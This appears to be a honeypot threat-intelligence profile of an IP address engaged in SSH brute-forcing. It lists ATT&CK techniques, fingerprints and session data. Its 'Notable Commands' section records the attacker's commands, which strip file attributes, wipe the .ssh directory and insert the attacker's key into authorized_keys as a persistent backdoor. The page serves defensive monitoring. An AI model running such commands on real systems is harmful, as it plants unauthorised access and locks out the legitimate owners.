IntrusionLabs IntrusionLabs
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177.157.200.55

Threat Confidence
37%
Location
🇧🇷 BR / Barbacena
ASN
AS18881 · TELEFONICA BRASIL S.A
Cloud Provider
—
Total Events
23
Average by volume
Agent Count
1
First / Last Seen
2026-04-11 21:38 — 2026-04-11 21:38
Attack Types
ssh:bruteforce
MITRE ATT&CK Techniques
Reconnaissance
T1595.002
Initial Access
T1078
Defense Evasion
T1070.004
Credential Access
T1110 T1110.001
Command and Control
T1105
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
malware_dropper ×1 credential_probe ×1 opportunistic_bruter ×1
Sessions
3 (2 with login)
Avg Depth Score
0.57
Commands Executed
3
Files Downloaded
1
Notable Commands
  • cd ~; chattr -ia .ssh; lockr -ia .ssh
  • lockr -ia .ssh
  • cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
Fingerprints
HASSH
03a80b21afa810682a776a7d42e5e6fb
SSH Client
SSH-2.0-libssh_0.11.1
Evidence Timeline
Opportunistic Bruter 45028cf929a5 w4m_seattle_01 · 2026-04-11 21:38
1 50%
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Malware Dropper c649a486558f w4m_seattle_01 · 2026-04-11 21:38
3 1 1 100%
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Credential Probe 72d18ddc8379 w4m_seattle_01 · 2026-04-11 21:38
1 20%
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